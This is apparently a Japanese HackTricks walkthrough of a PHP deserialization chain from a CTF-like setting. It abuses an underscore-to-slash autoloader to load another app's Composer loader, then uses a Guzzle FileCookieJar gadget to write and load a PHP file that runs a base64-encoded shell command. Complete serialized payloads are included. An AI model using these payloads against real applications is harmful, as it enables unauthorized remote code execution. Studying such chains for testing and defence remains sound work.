PHP - Deserialization + Autoload Classes

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！

• **💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

• ハッキングトリックを共有するには、HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してください。

まず、オートロードクラスが何であるかを確認する必要があります。

PHPデシリアライズ + spl_autoload_register + LFI/Gadget

私たちは、phpggc内にガジェットに脆弱なライブラリがないウェブアプリでPHPデシリアライズを見つけた状況にいます。しかし、同じコンテナ内には脆弱なライブラリを持つ別のComposerウェブアプリがありました。したがって、目標は他のウェブアプリのComposerローダーをロードし、それを悪用してデシリアライズに脆弱なウェブアプリのライブラリを攻撃するガジェットをロードすることでした。

手順：

• デシリアライズを見つけ、現在のアプリコードにはガジェットがない

• 次のような**spl_autoload_register関数を悪用して、.php拡張子のローカルファイルをロードする**

• そのために、クラス名が**$name内に入るデシリアライズを使用します。シリアライズされたオブジェクトのクラス名には"/"や"."を使用できませんが、コードはアンダースコア**("_")をスラッシュ("/")に置き換えています。したがって、tmp_passwdのようなクラス名は/tmp/passwd.phpに変換され、コードはそれをロードしようとします。 ガジェットの例は：**O:10:"tmp_passwd":0:{}**です。

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

もしファイルアップロードがあり、.php拡張子のファイルをアップロードできる場合、この機能を直接悪用して、すでにRCEを取得することができます。

私の場合、そのようなものはありませんでしたが、同じコンテナ内に**phpggcガジェットに脆弱なライブラリ**を持つ別のcomposerウェブページがありました。

• この別のライブラリを読み込むには、まずその別のウェブアプリのcomposerローダーを読み込む必要があります（現在のアプリケーションのものでは他のライブラリにアクセスできません）。アプリケーションのパスを知っていれば、次のように非常に簡単に実現できます：O:28:"www_frontend_vendor_autoload":0:{}（私の場合、composerローダーは/www/frontend/vendor/autoload.phpにありました）

• さて、他のアプリのcomposerローダーを読み込むことができるので、使用するためのphpgcc ペイロードを生成する時が来ました。私の場合、Guzzle/FW1を使用し、これによりファイルシステム内の任意のファイルを書き込むことができました。

• 注：生成されたガジェットは機能しませんでした。機能させるために、chain.phpのphpggcペイロードを修正し、すべての属性をプライベートからパブリックに設定しました。そうしないと、文字列をデシリアライズした後、作成されたオブジェクトの属性には値がありませんでした。

• これで、他のアプリのcomposerローダーを読み込む方法があり、機能するphpggcペイロードも手に入れましたが、ガジェットが使用されるときにローダーが読み込まれるためには、同じリクエスト内でこれを行う必要があります。そのため、次のように両方のオブジェクトを含むシリアライズされた配列を送信しました：

• 最初にローダーが読み込まれ、その後ペイロードが表示されるのがわかります。

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

• さて、ファイルを作成して書き込むことができますが、ユーザーはウェブサーバー内の任意のフォルダーに書き込むことができません。したがって、ペイロードに示されているように、PHPは**systemを呼び出し、base64を使用して/tmp/a.phpに作成されます。次に、他のウェブアプリのコンポーザーローダーを読み込むために、最初のタイプのペイロードを再利用して、生成された/tmp/a.php**ファイルを読み込みます。それをデシリアライズガジェットに追加するだけです:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

ペイロードの概要

• 同じコンテナ内の別のウェブアプリのcomposerオートロードを読み込む

• phpggcガジェットを読み込む ことで、他のウェブアプリのライブラリを悪用する（最初のウェブアプリはデシリアライズに脆弱で、ライブラリにガジェットがなかった）

• ガジェットは、/tmp/a.phpに悪意のあるコマンドを含むPHPペイロードのファイルを作成する（ウェブアプリのユーザーは、どのウェブアプリのフォルダーにも書き込むことができない）

• ペイロードの最終部分は、生成されたPHPファイルを読み込むことでコマンドを実行する

私はこのデシリアライズを2回呼び出す必要があった。私のテストでは、最初の時に/tmp/a.phpファイルが作成されたが読み込まれず、2回目に正しく読み込まれた。

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.